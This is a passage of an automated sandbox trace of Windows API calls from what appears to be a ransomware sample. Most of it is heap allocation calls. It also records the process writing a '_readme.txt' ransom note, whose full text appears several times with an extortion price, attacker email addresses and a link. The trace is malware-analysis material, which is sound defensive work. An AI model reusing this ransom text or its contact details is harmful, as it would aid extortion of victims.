(HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.498] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.498] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.498] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.498] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.498] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.498] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.498] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.498] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.498] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.498] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.498] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.498] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.498] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.498] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.498] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.498] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.498] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.498] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.498] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.498] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.498] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.498] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.498] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.498] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.498] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.498] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.498] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.498] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.498] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.498] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.499] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.499] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.499] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.499] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.499] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.499] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.499] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.499] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.499] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.499] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.499] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.499] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.499] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.499] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.499] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.499] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.499] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.499] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.499] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.499] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.499] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.499] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.499] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.499] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.499] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.499] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.499] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.499] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.499] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.499] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.499] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.499] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.499] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.499] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.500] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.500] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.500] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.500] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.500] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.500] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.500] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.500] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.500] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.500] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.500] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.500] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.500] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.500] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.500] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.500] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.500] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.500] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.500] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.500] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.500] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.500] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.500] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.500] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.500] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.500] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.500] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.500] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.500] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.500] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.500] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.500] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.500] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.501] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.501] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.501] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.501] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.501] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.501] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.501] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.501] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.501] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.501] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.501] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.501] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.501] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.501] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.501] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.501] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.501] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.501] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.501] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.501] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.501] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.501] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.501] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.501] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.501] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.501] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.501] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.501] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.501] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.501] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.501] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.501] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.501] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.502] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.502] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.502] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.502] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.502] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.502] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.502] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.502] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.502] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.502] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.502] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.502] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.502] PathFindFileNameW (pszPath="C:\\Boot\\nb-NO\\") returned="nb-NO\\" [0066.502] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.502] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.502] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.502] PathFindFileNameW (pszPath="") returned="" [0066.502] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.502] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.503] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.503] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.503] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.503] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.503] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.503] PathAppendW (in: pszPath="C:\\Boot\\nb-NO\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\nb-NO\\_readme.txt") returned 1 [0066.503] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.503] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.503] PathFileExistsW (pszPath="C:\\Boot\\nb-NO\\_readme.txt") returned 0 [0066.503] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x7d00) returned 0x32b2f40 [0066.503] lstrcpyW (in: lpString1=0x32b2f40, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" [0066.503] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg", lpString2="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" [0066.503] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3248800 [0066.503] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\_readme.txt" (normalized: "c:\\boot\\nb-no\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0066.503] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0066.503] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x85c) returned 0x329cf20 [0066.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x329cf20, cbMultiByte=2140, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 1117 [0066.504] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3177118 [0066.504] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x329cf20 | out: hHeap=0x5d0000) returned 1 [0066.504] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.504] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned 1116 [0066.504] WriteFile (in: hFile=0x5c4, lpBuffer=0x3177118*, 